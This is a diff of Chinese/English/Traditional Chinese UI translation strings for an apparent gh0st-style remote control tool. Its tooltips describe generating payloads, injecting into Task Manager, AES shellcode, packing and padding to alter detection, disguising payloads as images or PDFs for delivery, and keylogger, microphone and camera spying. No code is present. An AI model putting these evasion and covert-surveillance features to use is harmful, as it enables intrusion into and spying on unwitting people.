证书/私钥加载失败,加密功能未生效。请检查文件路径与格式(证书 PEM、私钥 PKCS#8)。=Failed to load certificate/private key; encryption is not active. Check the file path and format (PEM certificate, PKCS#8 private key).
|
||||
TLS传输=TLS Transport
|
||||
取消TLS=Disable TLS
|
||||
线缆压缩:ZSTD=Wire compression: ZSTD
|
||||
线缆压缩:ZLIB=Wire compression: ZLIB
|
||||
选中的主机里有客户端版本不支持线缆压缩切换(需要新版 Windows 客户端)=Some selected hosts do not support switching wire compression (a newer Windows client is required)
|
||||
确定对选中主机启用 TLS 传输吗?\n(客户端立即生效并断线重连,正在进行的远程会话会中断)=Enable TLS transport for the selected host?\n(Clients apply it immediately and reconnect; any active remote session is interrupted)
|
||||
确定取消选中主机的 TLS 传输吗?\n(客户端立即生效并断线重连,正在进行的远程会话会中断)=Disable TLS transport for the selected host?\n(Clients apply it immediately and reconnect; any active remote session is interrupted)
|
||||
服务端未启用 TLS 证书,无法切换客户端 TLS 传输=Server TLS certificate is not enabled; cannot toggle client TLS transport
|
||||
@@ -2226,6 +2229,27 @@ WSS
|
||||
选中的主机里有客户端版本不支持协议切换(需要新版客户端)=Some selected hosts run a client without protocol switching support (a newer client is required)
|
||||
确定把选中主机切回直连 TCP 吗?\n(客户端立即断线重连;若直连端口不可达,5 分钟后自动回退到当前入口)=Switch the selected hosts back to direct TCP?\n(Clients reconnect immediately; if the direct port stays unreachable, they revert to the current entry after 5 minutes)
|
||||
确定切换选中主机的传输协议吗?\n(客户端立即断线重连,正在进行的远程会话会中断;新入口 5 分钟内连不上将自动回退)=Switch the transport protocol for the selected hosts?\n(Clients reconnect immediately and any active remote session is interrupted; if the new entry stays unreachable for 5 minutes, the client reverts automatically)
|
||||
UDP(测试)=UDP (Test)
|
||||
KCP(测试)=KCP (Test)
|
||||
选中的主机里有客户端版本不支持切到实验传输 UDP/KCP(需要新版 Windows 客户端)=Some selected hosts run a client without experimental transport support (UDP/KCP); a newer Windows client is required
|
||||
当前主控走上级 FRP 代理,FRP 只转发 TCP,无法切换到实验传输=The master runs behind an upper-level FRP proxy, which only forwards TCP; cannot switch to an experimental transport
|
||||
无法确定主控的公网地址,不能切换到实验传输=Cannot determine the master's public address; cannot switch to an experimental transport
|
||||
主控没有配置该传输的监听端口:请在设置的 ghost/UDPOption 里加上对应条目=The master has no listening port for this transport; add a matching ghost/UDPOption entry in Settings
|
||||
确定把选中主机切到测试传输吗?\n(UDP/KCP 为实验协议,可能不稳定;客户端立即断线重连,300 秒内连不上会自动回退到切换前的入口)=Switch the selected hosts to an experimental transport?\n(UDP/KCP are experimental and may be unstable; clients reconnect immediately and revert to the previous entry if unreachable for 300 seconds)
|
||||
与监听端口按顺序一一对应。\n例如监听端口填 6543;7543,这里就填 UDP;KCP。\n0 表示 UDP,1 表示 KCP;未填写的端口按 UDP 处理。\n修改后需重启主控生效。=Maps to the listen ports in order.\nFor ports 6543;7543 enter UDP;KCP here.\n0 means UDP, 1 means KCP; missing entries default to UDP.\nRestart the master for changes to take effect.
|
||||
客户端连接主控所用的地址。\n有公网 IP 填公网 IP;使用 FRP 填 frps 的公网 IP/域名;\n仅局域网测试可填内网 IP。\n修改只影响之后生成/分发的客户端;若已绑定授权,改地址可能导致授权失效。=The address clients use to reach the master.\nUse the public IP; behind FRP use the frps public IP/domain;\nfor LAN tests the private IP is fine.\nOnly affects newly generated clients; changing a licensed address may invalidate the license.
|
||||
主控监听的端口,可填多个,用英文分号分隔。\n例如 6543;7543。每个端口同时监听 TCP 和 UDP;\nKCP 端口由右侧「UDP 协议参数」按顺序指定。\n已分发的客户端仍指向旧端口:改端口后需重启主控,\n并重新生成/分发客户端。=Ports the master listens on; multiple ports separated by semicolons.\nE.g. 6543;7543. Each port listens on both TCP and UDP;\nthe KCP port is chosen by UDP Params on the right, in order.\nDeployed clients still target the old port: restart the master\nand regenerate/redistribute clients after changing it.
|
||||
启用后主控在本机启动 frpc,\n把监听端口映射到 frps 的公网端口;\n需要填写服务端口和 token。\n仅 64 位主控支持,切换开关需重启主控生效。=Starts frpc on this machine and maps the listen ports\nto the public frps ports; fill in the FRP port and token.\n64-bit master only; restart the master after toggling.
|
||||
frps 的 server_port(frps.ini 的 bind_port),默认 7000。\n它不是主控映射出去的监听端口。仅启用 FRP 时可填。=The frps server_port (bind_port in frps.ini), default 7000.\nThis is not the mapped listen port. Enabled only when FRP is on.
|
||||
frpc 与 frps 共享的认证 token,\n必须与 frps.ini 中的 token 一致;\n留空表示服务端未启用 token。仅启用 FRP 时可填。=Auth token shared by frpc and frps; must match frps.ini.\nLeave empty if the server has no token. Enabled only when FRP is on.
|
||||
当前授权允许的最大同时在线客户端数,由口令/授权决定,只读。=Maximum simultaneous clients allowed by the license; read-only.
|
||||
是:允许在远程会话中切换目标机的多个显示器;\n否:只使用主显示器。对新开的屏幕会话生效。=Yes: switch between the target's monitors in a session;\nNo: primary monitor only. Applies to new screen sessions.
|
||||
屏幕捕获方式:\nGDI 兼容性最好,支持窗口捕获;\nDXGI 桌面复制更快更省 CPU(Win8+,部分远程会话/驱动下拿不到帧会自动回退);\nVIRTUAL 使用虚拟桌面捕获。对新开的屏幕会话生效。=Capture method:\nGDI is the most compatible and supports window capture;\nDXGI Desktop Duplication is faster and lighter (Win8+; falls back when no frame is available);\nVIRTUAL captures a virtual desktop. Applies to new screen sessions.
|
||||
远程画面编码方式:\n算法自适应(按带宽自动选择)、屏幕差异(省流量)、\nH264(画面更流畅,需客户端支持)、灰度 / RGBA→RGB565(极低带宽)。\n对新开的屏幕会话生效。=Screen encoding:\nAdaptive (picks by bandwidth), screen diff (low traffic),\nH264 (smoother, client support required), grayscale / RGBA->RGB565 (very low bandwidth).\nApplies to new screen sessions.
|
||||
客户端上报活动窗口/心跳的间隔(秒),默认 5。\n数值越小越及时,流量和 CPU 越高;点确定后下发给在线客户端。=Interval (seconds) for active-window/heartbeat reports, default 5.\nSmaller is fresher but costs traffic/CPU; sent to online clients after OK.
|
||||
选择在客户端上检测的软件:\n「摄像头」检测摄像头占用,「电报」检测 Telegram 是否运行。\n结果显示在在线列表的「摄像头」列;点确定后下发给在线客户端。=Software to detect on clients:\nCamera detects camera use; Telegram detects whether Telegram runs.\nThe result shows in the Camera column; sent to online clients after OK.
|
||||
把多个显示器按 N×N 网格拼成一个逻辑屏(2×2~5×5),\n用于多屏集中查看;「无」表示关闭。=Tile multiple monitors into an N x N logical screen (2x2 to 5x5)\nfor a combined view; None disables it.
|
||||
主控 Web 服务的端口,默认 8080。\n用于 Web 控制台、远程控制,以及以下载方式分发上线载荷;\n填 -1 或 0 表示不启用。修改后需重启主控生效。=Port of the master web service, default 8080.\nUsed by the web console, remote control and payload downloads;\n-1 or 0 disables it. Restart the master for changes to take effect.
|
||||
; ===== Status Bar TLS/MCP =====
|
||||
TLS: 有=TLS: Yes
|
||||
TLS: 无=TLS: No
|
||||
@@ -2273,3 +2297,69 @@ APK
|
||||
修复命令已复制到剪贴板。\n\n请按 Win+X 打开「终端(管理员)」,粘贴执行后再重新启动本程序。=The fix command has been copied to the clipboard.\n\nPress Win+X to open Terminal (Admin), paste and run it, then restart this program.
|
||||
已复制=Copied
|
||||
该 Android 主机未取得 root,无法查看进程列表。\n\nAndroid 7 起 /proc 受 hidepid/SELinux 限制,普通应用无法枚举其它进程。=This Android host is not rooted, so the process list is unavailable.\n\nAndroid 7+ restricts /proc with hidepid/SELinux, so a normal app cannot enumerate other processes.
|
||||
|
||||
; MCP settings preset buttons
|
||||
只读模式=Read-only mode
|
||||
智能模式=Smart mode
|
||||
; FRP auto proxy messages (local FRP precedence)
|
||||
[FRP] 已启用上级 FRP 反向代理(远程端口 %d);本地 FRP 已启用,主控地址保持不变=[FRP] Upstream FRP reverse proxy enabled (remote port %d); local FRP is enabled, master address unchanged
|
||||
[FRP] 上级 FRP 反向代理配置已切换(远程端口 %d → %d);本地 FRP 已启用,主控地址保持不变=[FRP] Upstream FRP reverse proxy switched (remote port %d → %d); local FRP is enabled, master address unchanged
|
||||
; FRP address hint (upstream-provided)
|
||||
该地址由上级自动 FRP 提供(端口由上级分配),无需修改=Provided by the upstream FRP (port assigned there); no change needed
|
||||
|
||||
要生成的载荷形态:\nTestRun 是测试加载器(磁盘/内存 DLL、注入任务管理器);\nghost.exe 是独立客户端;ServerDll.dll / TinyRun.dll 是模块;\n还有 Windows 服务、SYSTEM 以及 Linux/macOS/Android 预编译模板。\n最后一项「选择文件」可指定自定义程序。=Payload form to generate:\nTestRun is a test loader (disk/memory DLL, inject into Task Manager);\nghost.exe is the standalone client; ServerDll.dll / TinyRun.dll are modules;\nWindows service, SYSTEM and Linux/macOS/Android prebuilt templates are also available.\nThe last entry lets you pick a custom file.
|
||||
生成 Windows 载荷的位数:64 位 / 32 位。\nLinux、macOS、Android 为固定架构,此项会自动置灰。=Bitness of the generated Windows payload: 64-bit / 32-bit.\nLinux, macOS and Android are fixed-architecture and will grey this out.
|
||||
配置了多个主控地址时的上线方式:\n随机上线:每次连接随机选一个地址;\n并发上线:同时连接全部地址(每个地址一个实例)。=How the client connects when several master addresses are configured:\nRandom: picks one address per connection;\nParallel: connects to all addresses at once (one instance each).
|
||||
客户端连接的主控地址。\n可填多个,用英文分号分隔,最多 99 字符。\n「随机上线」每次随机选一个;「并发上线」同时连接全部。\n可填 IP 或域名;走 FRP 时填 FRP 服务器地址。=Master address the client connects to.\nMultiple addresses are allowed, separated by semicolons, up to 99 chars.\nRandom mode picks one per connection; parallel mode connects to all.\nIPs and domains are accepted; use the FRP server address behind FRP.
|
||||
客户端连接主控使用的传输协议。\nTCP/UDP/HTTP/KCP 直连;WebSocket、WS+TLS 需经反向代理。\nKCP 还要求主控 ghost/UDPOption 把对应端口配成 KCP;\n「随机」在 TCP/UDP/HTTP 中随机选择。=Transport used by the client to reach the master.\nTCP/UDP/HTTP/KCP connect directly; WebSocket and WS+TLS need a reverse proxy.\nKCP also requires the master's ghost/UDPOption to mark that port as KCP;\nRandom picks among TCP/UDP/HTTP.
|
||||
主控监听端口,默认 6543。\nWS/WSS 走反向代理时填反代入口端口(如 443)。\n必须与主控实际监听/映射的端口一致。=Master listen port, default 6543.\nBehind a reverse proxy for WS/WSS, use the proxy entry port (e.g. 443).\nIt must match the port the master actually listens on or maps.
|
||||
上线报文头的加密变体(Shine / HELL),默认 HELL。\n只影响报文头的混淆方式,不影响数据正文加密。=Header encryption variant of the login packet (Shine / HELL), default HELL.\nOnly changes how the packet header is obfuscated, not the payload encryption.
|
||||
生成后的处理方式:\n无:原样输出;UPX:压缩(体积小,易被杀软标记);\nShellCode AES:转成 AES 加密的 shellcode(可配合下载服务);\nPE→ShellCode:把 PE 转成 shellcode;ShellCode BIN:输出裸 shellcode。\n仅 Windows 目标可用。=Post-processing of the generated payload:\nNone: as is; UPX: compressed (smaller, more likely flagged);\nShellCode AES: convert to AES-encrypted shellcode (can use the download service);\nPE->ShellCode: convert the PE to shellcode; ShellCode BIN: raw shellcode.\nWindows targets only.
|
||||
客户端上报的分组名,主控在线列表按它归类显示。\n留空时按默认分组处理。=Group name reported by the client; the master groups hosts by it.\nLeave empty to use the default group.
|
||||
客户端安装目录的根位置:\nProgramData / APPDATA / LOCALAPPDATA 不需要管理员权限;\nProgramFiles、SystemRoot 需要管理员权限(安装时会提权)。=Root install location on the client:\nProgramData / APPDATA / LOCALAPPDATA need no admin rights;\nProgramFiles and SystemRoot need administrator rights (install elevates).
|
||||
在上述根目录下创建的子目录名,最长 31 字符。\n留空时按载荷类型使用默认目录(如 Windows Ghost)。\n反复在同一台电脑测试时,建议配合不同的程序名称使用不同子目录。=Subfolder created under the root above, up to 31 chars.\nEmpty uses a per-payload default (e.g. Windows Ghost).\nWhen testing repeatedly on the same machine, use a different subfolder together with a different program name.
|
||||
生成的文件名/服务名(不含扩展名),最长 31 字符。\n建议每次测试都换一个名称,并配合不同的子目录。\n留空会使用默认名称/默认位置:同一台电脑反复安装时,\n可能与残留进程或旧文件冲突,安装不会自动替换,\n表现为客户端不上线。=File/service name to generate (without extension), up to 31 chars.\nUse a different name for every test, and a different subfolder too.\nEmpty uses the default name/location: repeated installs on the same machine\nmay collide with a leftover process or old file; the installer does not replace it,\nand the client then fails to come online.
|
||||
在文件末尾填充随机数据改变体积(0~256 MB),不影响运行。=Appends random data to the file to change its size (0-256 MB); does not affect execution.
|
||||
仅 ShellCode AES 模式显示:载荷的封装形态。\n可写入当前程序尾部、单独的二进制文件,\n或 BMP/JPG/PNG/ZIP/PDF 等文件,\n用于把载荷伪装成图片、压缩包等再投递。=Shown for ShellCode AES only: how the payload is packaged.\nCan be appended to the current program, written as a standalone binary,\nor embedded in BMP/JPG/PNG/ZIP/PDF files,\nso the payload can be delivered disguised as a picture or archive.
|
||||
启用后载荷通过 HTTP 下载投递:\n文件放到程序的 Payloads 目录,或填写下载地址;\n受管机器上线时按地址下载载荷。\n仅 ShellCode AES 且载荷不是「当前程序尾部」时可用。=Enables HTTP download delivery of the payload:\nput the file in the program's Payloads folder, or enter a download URL;\nthe managed machine downloads it when it comes online.\nOnly available for ShellCode AES and payloads other than 'appended to current program'.
|
||||
载荷下载地址(http/https),最长 255 字符。\n留空时默认用本机 Web 端口:\nhttp://<主控IP>:<Web端口>/payloads/<文件名>。\n仅勾选「下载服务」时显示。=Payload download URL (http/https), up to 255 chars.\nEmpty defaults to this machine's web port:\nhttp://<master IP>:<web port>/payloads/<file name>.\nShown only when Download service is checked.
|
||||
勾选后把服务端 TLS 证书锚写进载荷,首次连接即加密,避免首连明文。\n仅 Windows 客户端模板、TCP/HTTP 协议且服务端已启用 TLS 时可用;\n不可用时复选框文案会直接写明原因。=Embeds the server TLS trust anchor into the payload so the first connection is encrypted.\nOnly available for Windows client templates with TCP/HTTP when the server has TLS enabled;\nwhen unavailable, the checkbox label explains why.
|
||||
程序增肥:填充 %d MB(0~256 MB)。\n在文件末尾填充随机数据改变体积,不影响运行。=Padding: %d MB (0-256 MB).\nAppends random data to the file to change its size; does not affect execution.
|
||||
打开选中主机的远程终端(CMD)。\n需先在在线列表中选择一台主机。=Open the remote terminal (CMD) on the selected host.\nSelect a host in the online list first.
|
||||
查看并管理选中主机的进程(结束/挂起)。\n需先选择主机。=View and manage processes on the selected host (end/suspend).\nSelect a host first.
|
||||
枚举并控制选中主机的窗口(显示/隐藏/关闭)。\n需先选择主机。=Enumerate and control windows on the selected host (show/hide/close).\nSelect a host first.
|
||||
打开远程桌面,查看并控制选中主机的屏幕。\n需先选择主机。=Open the remote desktop to view and control the selected host's screen.\nSelect a host first.
|
||||
打开远程文件管理器,浏览、上传和下载文件。\n需先选择主机。=Open the remote file manager to browse, upload and download files.\nSelect a host first.
|
||||
监听选中主机的声音或麦克风。\n需先选择主机。=Listen to the selected host's sound or microphone.\nSelect a host first.
|
||||
查看选中主机的摄像头画面。\n需先选择主机。=View the selected host's camera.\nSelect a host first.
|
||||
管理选中主机的 Windows 服务(启动/停止/删除)。\n需先选择主机。=Manage Windows services on the selected host (start/stop/delete).\nSelect a host first.
|
||||
查看和编辑选中主机的注册表。\n需先选择主机。=View and edit the selected host's registry.\nSelect a host first.
|
||||
查看或开启选中主机的键盘记录。\n需先选择主机。=View or start the selected host's keylogger.\nSelect a host first.
|
||||
主控参数:监听端口、FRP、TLS、MCP、数据库等。=Master settings: listen ports, FRP, TLS, MCP, database and more.
|
||||
生成并配置客户端安装包(可嵌入地址、授权与选项)。=Generate and configure the client package (address, licence and options can be embedded).
|
||||
在在线主机列表中按关键字搜索。=Search the online host list by keyword.
|
||||
查看版本、关于信息与帮助。=Show version, about and help information.
|
||||
切换界面语言。=Switch the interface language.
|
||||
MCP 服务设置:开关、端口与 HTTP/HTTPS。\n修改后需重启主控生效。=MCP service settings: switch, port and HTTP/HTTPS.\nRestart the master for changes to take effect.
|
||||
查看和管理当前连接/会话。=View and manage current connections/sessions.
|
||||
与选中主机进行双向文字交谈。\n需先选择主机。=Start a two-way text chat with the selected host.\nSelect a host first.
|
||||
管理主机分组、备注与批量操作。\n需先选择主机。=Manage host groups, remarks and bulk operations.\nSelect a host first.
|
||||
TLS 已启用,但证书或私钥加载失败;服务端会拒绝 TLS 握手(fail-closed),明文连接可能仍被接受。\n请检查 [tls] 的 CertPath / KeyPath。=TLS is enabled but the certificate or key failed to load; the server refuses TLS handshakes (fail-closed), while plaintext connections may still be accepted.\nCheck CertPath / KeyPath under [tls].
|
||||
TLS 未启用:客户端可使用明文连接,或由主控下发信任锚后切换到 TLS。=TLS is not enabled: clients may connect in plaintext, or switch to TLS after the master sends them a trust anchor.
|
||||
TLS 使用内置自签证书(首次启用时自动生成),信任锚随客户端下发。=TLS uses the built-in self-signed certificate (generated on first enable); the trust anchor is sent to clients.
|
||||
TLS 使用自定义证书,入站凭据已加载。=TLS uses a custom certificate; inbound credentials are loaded.
|
||||
MCP 未启用。可在工具栏 MCP 或「扩展」菜单中开启,修改后需重启主控生效。=MCP is not enabled. Enable it from the MCP toolbar button or the Extensions menu; restart the master for changes to take effect.
|
||||
MCP 已启用:端口 =MCP enabled: port
|
||||
,协议 =, protocol
|
||||
。\n修改 MCP 设置后需重启主控生效。=.\nRestart the master after changing MCP settings.
|
||||
当前对外地址:=Public address:
|
||||
\n来源:上级配置的 FRPC 地址。=\nSource: FRPC address provided by the parent.
|
||||
\n来源:本机 FRPS。=\nSource: local FRPS.
|
||||
\n来源:上级 FRP 代理的 master 地址。=\nSource: parent FRP proxy master address.
|
||||
\n来源:本机直连(公网 WAN 或局域网 LAN)。=\nSource: direct connection (public WAN or LAN).
|
||||
普通模式:显示主控本次运行时长。=Normal mode: shows how long this master session has been running.
|
||||
服务模式:显示累计运行时长;有崩溃记录时显示 MTBF 与失败率。=Service mode: shows cumulative runtime; with crash records, MTBF and failure rate.
|
||||
授权到期信息:=Licence expiry:
|
||||
\n剩余天数包含到期当天;已过期时主控功能可能受限。=\nRemaining days include the expiry day; some features may be restricted after expiry.
|
||||
重置=Reset
|
||||
已清空语言包目录设置,已恢复内置语言,重启程序后生效。=Language pack folder setting cleared; built-in language restored. Restart the program to apply.
|
||||
@@ -26,18 +26,18 @@
|
||||
生成客户端=產生用戶端
|
||||
刷新=重新整理
|
||||
设置=設定
|
||||
终端管理=終端機管理
|
||||
进程管理=處理程序
|
||||
终端管理=終端機
|
||||
进程管理=程序
|
||||
窗口管理=視窗
|
||||
桌面管理=桌面
|
||||
文件管理=檔案
|
||||
语音管理=音訊
|
||||
视频管理=視訊
|
||||
服务管理=服務
|
||||
注册表管理=登錄編輯程式
|
||||
键盘记录=鍵盤記錄
|
||||
参数设置=參數設定
|
||||
生成服务端=產生伺服器
|
||||
注册表管理=登錄檔
|
||||
键盘记录=鍵盤
|
||||
参数设置=參數
|
||||
生成服务端=產生
|
||||
帮助=說明
|
||||
|
||||
; ============================================
|
||||
@@ -78,15 +78,15 @@ RTT=RTT
|
||||
; Dialog Captions
|
||||
; ============================================
|
||||
远程桌面=遠端桌面
|
||||
文件管理=檔案管理
|
||||
进程管理=處理程序管理
|
||||
窗口管理=視窗管理
|
||||
文件管理=檔案
|
||||
进程管理=程序
|
||||
窗口管理=視窗
|
||||
命令行=命令列
|
||||
注册表=登錄編輯程式
|
||||
注册表管理=登錄編輯程式管理
|
||||
服务管理=服務管理
|
||||
注册表管理=登錄檔
|
||||
服务管理=服務
|
||||
服务管理器=服務管理員
|
||||
键盘记录=鍵盤記錄
|
||||
键盘记录=鍵盤
|
||||
语音监听=語音監聽
|
||||
视频监控=視訊監控
|
||||
视频查看=視訊檢視
|
||||
@@ -95,7 +95,7 @@ RTT=RTT
|
||||
远程音频=遠端音訊
|
||||
远程视频=遠端視訊
|
||||
系统管理=系統管理
|
||||
生成服务端=產生伺服器端
|
||||
生成服务端=產生
|
||||
即时消息=即時訊息
|
||||
虚拟屏幕=虛擬桌面
|
||||
隐私屏幕=隱私螢幕
|
||||
@@ -243,8 +243,8 @@ RTT=RTT
|
||||
; ============================================
|
||||
常规设置=一般設定
|
||||
网络设置=網路設定
|
||||
参数设置=參數設定
|
||||
桌面管理=桌面管理
|
||||
参数设置=參數
|
||||
桌面管理=桌面
|
||||
监听端口=監聽連接埠
|
||||
监听端口:=監聽連接埠:
|
||||
最大连接数=最大連線數
|
||||
@@ -419,7 +419,7 @@ Rar
|
||||
已有授权密码。请勿将本程序用于任何非法、违规的用途,否则后果自负!\r\n\r\n是否更新试用口令?更新后原有授权码将被覆盖。=已有授權密碼。請勿將本程式用於任何非法、違規的用途,否則後果自負!\r\n\r\n是否更新試用口令?更新後原有授權碼將被覆蓋。
|
||||
注入记事本=注入記事本
|
||||
机器管理=機器管理
|
||||
主机管理=主機管理
|
||||
主机管理=主機
|
||||
注销=登出
|
||||
关机=關機
|
||||
重启=重新啟動
|
||||
@@ -503,12 +503,12 @@ QQ
|
||||
; String Table
|
||||
; ============================================
|
||||
远程终端=遠端終端機
|
||||
窗口管理=視窗管理
|
||||
窗口管理=視窗
|
||||
远程桌面=遠端桌面
|
||||
文件管理=檔案管理
|
||||
文件管理=檔案
|
||||
语音监听=語音監聽
|
||||
视频查看=視訊檢視
|
||||
服务管理=服務管理
|
||||
服务管理=服務
|
||||
注册表查看=登錄編輯程式檢視
|
||||
服务生成=服務產生
|
||||
帮助=說明
|
||||
@@ -2128,7 +2128,7 @@ JPEG
|
||||
%s · 不受限速(受网络带宽约束)=%s · 不限速(受網路頻寬限制)
|
||||
文件传输速度已保存。上传速度重启主控端后生效;下载速度已推送到在线客户端,新连接的主机也会自动获取。=檔案傳輸速度已儲存。上傳速度重啟主控端後生效;下載速度已推送到線上用戶端,新連線的主機也會自動取得。
|
||||
|
||||
连接管理=連線管理
|
||||
连接管理=連線
|
||||
%s - 连接管理=%s - 連線管理
|
||||
本地地址=本機位址
|
||||
本地端口=本機連接埠
|
||||
@@ -2136,7 +2136,7 @@ JPEG
|
||||
远端端口=遠端連接埠
|
||||
连接数:%d=連線數:%d
|
||||
强制断开=強制中斷
|
||||
远程交谈=遠程交談
|
||||
远程交谈=交談
|
||||
|
||||
; ============================================
|
||||
; Advanced -> DLL embeds TLS certificate (DLL內嵌TLS憑證)
|
||||
@@ -2180,6 +2180,9 @@ TLS
|
||||
证书/私钥加载失败,加密功能未生效。请检查文件路径与格式(证书 PEM、私钥 PKCS#8)。=憑證/私鑰載入失敗,加密功能未生效。請檢查檔案路徑與格式(憑證 PEM、私鑰 PKCS#8)。
|
||||
TLS传输=TLS 傳輸
|
||||
取消TLS=停用 TLS
|
||||
线缆压缩:ZSTD=線纜壓縮:ZSTD
|
||||
线缆压缩:ZLIB=線纜壓縮:ZLIB
|
||||
选中的主机里有客户端版本不支持线缆压缩切换(需要新版 Windows 客户端)=選取的主機中有用戶端版本不支援線纜壓縮切換(需要新版 Windows 用戶端)
|
||||
确定对选中主机启用 TLS 传输吗?\n(客户端立即生效并断线重连,正在进行的远程会话会中断)=確定對選取主機啟用 TLS 傳輸嗎?\n(用戶端立即生效並斷線重連,正在進行的遠端工作階段會中斷)
|
||||
确定取消选中主机的 TLS 传输吗?\n(客户端立即生效并断线重连,正在进行的远程会话会中断)=確定取消選取主機的 TLS 傳輸嗎?\n(用戶端立即生效並斷線重連,正在進行的遠端工作階段會中斷)
|
||||
服务端未启用 TLS 证书,无法切换客户端 TLS 传输=伺服器未啟用 TLS 憑證,無法切換用戶端 TLS 傳輸
|
||||
@@ -2219,6 +2222,27 @@ WSS
|
||||
选中的主机里有客户端版本不支持协议切换(需要新版客户端)=選取的主機中有用戶端版本不支援協定切換(需要新版用戶端)
|
||||
确定把选中主机切回直连 TCP 吗?\n(客户端立即断线重连;若直连端口不可达,5 分钟后自动回退到当前入口)=確定將選取主機切回直連 TCP 嗎?\n(用戶端立即斷線重連;若直連連接埠不可達,5 分鐘後自動回退到目前入口)
|
||||
确定切换选中主机的传输协议吗?\n(客户端立即断线重连,正在进行的远程会话会中断;新入口 5 分钟内连不上将自动回退)=確定切換選取主機的傳輸協定嗎?\n(用戶端立即斷線重連,正在進行的遠端工作階段會中斷;新入口 5 分鐘內連不上將自動回退)
|
||||
UDP(测试)=UDP(測試)
|
||||
KCP(测试)=KCP(測試)
|
||||
选中的主机里有客户端版本不支持切到实验传输 UDP/KCP(需要新版 Windows 客户端)=選取的主機中有用戶端版本不支援切換到實驗傳輸 UDP/KCP(需要新版 Windows 用戶端)
|
||||
当前主控走上级 FRP 代理,FRP 只转发 TCP,无法切换到实验传输=目前主控走上一層 FRP 代理,FRP 只轉發 TCP,無法切換到實驗傳輸
|
||||
无法确定主控的公网地址,不能切换到实验传输=無法確定主控的公網位址,不能切換到實驗傳輸
|
||||
主控没有配置该传输的监听端口:请在设置的 ghost/UDPOption 里加上对应条目=主控沒有設定該傳輸的監聽連接埠:請在設定的 ghost/UDPOption 裡加上對應項目
|
||||
确定把选中主机切到测试传输吗?\n(UDP/KCP 为实验协议,可能不稳定;客户端立即断线重连,300 秒内连不上会自动回退到切换前的入口)=確定將選取主機切換到測試傳輸嗎?\n(UDP/KCP 為實驗協定,可能不穩定;用戶端立即斷線重連,300 秒內連不上會自動回退到切換前的入口)
|
||||
与监听端口按顺序一一对应。\n例如监听端口填 6543;7543,这里就填 UDP;KCP。\n0 表示 UDP,1 表示 KCP;未填写的端口按 UDP 处理。\n修改后需重启主控生效。=與監聽連接埠依序一一對應。\n例如監聽連接埠填 6543;7543,這裡就填 UDP;KCP。\n0 表示 UDP,1 表示 KCP;未填寫的連接埠按 UDP 處理。\n修改後需重新啟動主控生效。
|
||||
客户端连接主控所用的地址。\n有公网 IP 填公网 IP;使用 FRP 填 frps 的公网 IP/域名;\n仅局域网测试可填内网 IP。\n修改只影响之后生成/分发的客户端;若已绑定授权,改地址可能导致授权失效。=用戶端連線主控所用的位址。\n有公網 IP 填公網 IP;使用 FRP 填 frps 的公網 IP/域名;\n僅區域網路測試可填內網 IP。\n修改只影響之後產生/分發的用戶端;若已綁定授權,改位址可能導致授權失效。
|
||||
主控监听的端口,可填多个,用英文分号分隔。\n例如 6543;7543。每个端口同时监听 TCP 和 UDP;\nKCP 端口由右侧「UDP 协议参数」按顺序指定。\n已分发的客户端仍指向旧端口:改端口后需重启主控,\n并重新生成/分发客户端。=主控監聽的連接埠,可填多個,用英文分號分隔。\n例如 6543;7543。每個連接埠同時監聽 TCP 和 UDP;\nKCP 連接埠由右側「UDP 協定參數」依序指定。\n已分發的用戶端仍指向舊連接埠:改連接埠後需重新啟動主控,\n並重新產生/分發用戶端。
|
||||
启用后主控在本机启动 frpc,\n把监听端口映射到 frps 的公网端口;\n需要填写服务端口和 token。\n仅 64 位主控支持,切换开关需重启主控生效。=啟用後主控在本機啟動 frpc,\n把監聽連接埠對應到 frps 的公網連接埠;\n需要填寫服務連接埠和 token。\n僅 64 位元主控支援,切換開關需重新啟動主控生效。
|
||||
frps 的 server_port(frps.ini 的 bind_port),默认 7000。\n它不是主控映射出去的监听端口。仅启用 FRP 时可填。=frps 的 server_port(frps.ini 的 bind_port),預設 7000。\n它不是主控對應出去的監聽連接埠。僅啟用 FRP 時可填。
|
||||
frpc 与 frps 共享的认证 token,\n必须与 frps.ini 中的 token 一致;\n留空表示服务端未启用 token。仅启用 FRP 时可填。=frpc 與 frps 共用的認證 token,\n必須與 frps.ini 中的 token 一致;\n留空表示伺服器未啟用 token。僅啟用 FRP 時可填。
|
||||
当前授权允许的最大同时在线客户端数,由口令/授权决定,只读。=目前授權允許的最大同時在線用戶端數,由口令/授權決定,唯讀。
|
||||
是:允许在远程会话中切换目标机的多个显示器;\n否:只使用主显示器。对新开的屏幕会话生效。=是:允許在遠端工作階段中切換目標機的多個顯示器;\n否:只使用主顯示器。對新開的螢幕工作階段生效。
|
||||
屏幕捕获方式:\nGDI 兼容性最好,支持窗口捕获;\nDXGI 桌面复制更快更省 CPU(Win8+,部分远程会话/驱动下拿不到帧会自动回退);\nVIRTUAL 使用虚拟桌面捕获。对新开的屏幕会话生效。=螢幕擷取方式:\nGDI 相容性最好,支援視窗擷取;\nDXGI 桌面複製更快更省 CPU(Win8+,部分遠端工作階段/驅動下拿不到畫面會自動回退);\nVIRTUAL 使用虛擬桌面擷取。對新開的螢幕工作階段生效。
|
||||
远程画面编码方式:\n算法自适应(按带宽自动选择)、屏幕差异(省流量)、\nH264(画面更流畅,需客户端支持)、灰度 / RGBA→RGB565(极低带宽)。\n对新开的屏幕会话生效。=遠端畫面編碼方式:\n演算法自適應(依頻寬自動選擇)、螢幕差異(省流量)、\nH264(畫面更流暢,需用戶端支援)、灰階 / RGBA→RGB565(極低頻寬)。\n對新開的螢幕工作階段生效。
|
||||
客户端上报活动窗口/心跳的间隔(秒),默认 5。\n数值越小越及时,流量和 CPU 越高;点确定后下发给在线客户端。=用戶端上報活動視窗/心跳的間隔(秒),預設 5。\n數值越小越即時,流量和 CPU 越高;按確定後下發給在線用戶端。
|
||||
选择在客户端上检测的软件:\n「摄像头」检测摄像头占用,「电报」检测 Telegram 是否运行。\n结果显示在在线列表的「摄像头」列;点确定后下发给在线客户端。=選擇在用戶端上偵測的軟體:\n「攝像頭」偵測攝像頭佔用,「電報」偵測 Telegram 是否執行。\n結果顯示在在線列表的「攝像頭」欄;按確定後下發給在線用戶端。
|
||||
把多个显示器按 N×N 网格拼成一个逻辑屏(2×2~5×5),\n用于多屏集中查看;「无」表示关闭。=把多個顯示器按 N×N 網格拼成一個邏輯螢幕(2×2~5×5),\n用於多螢幕集中查看;「無」表示關閉。
|
||||
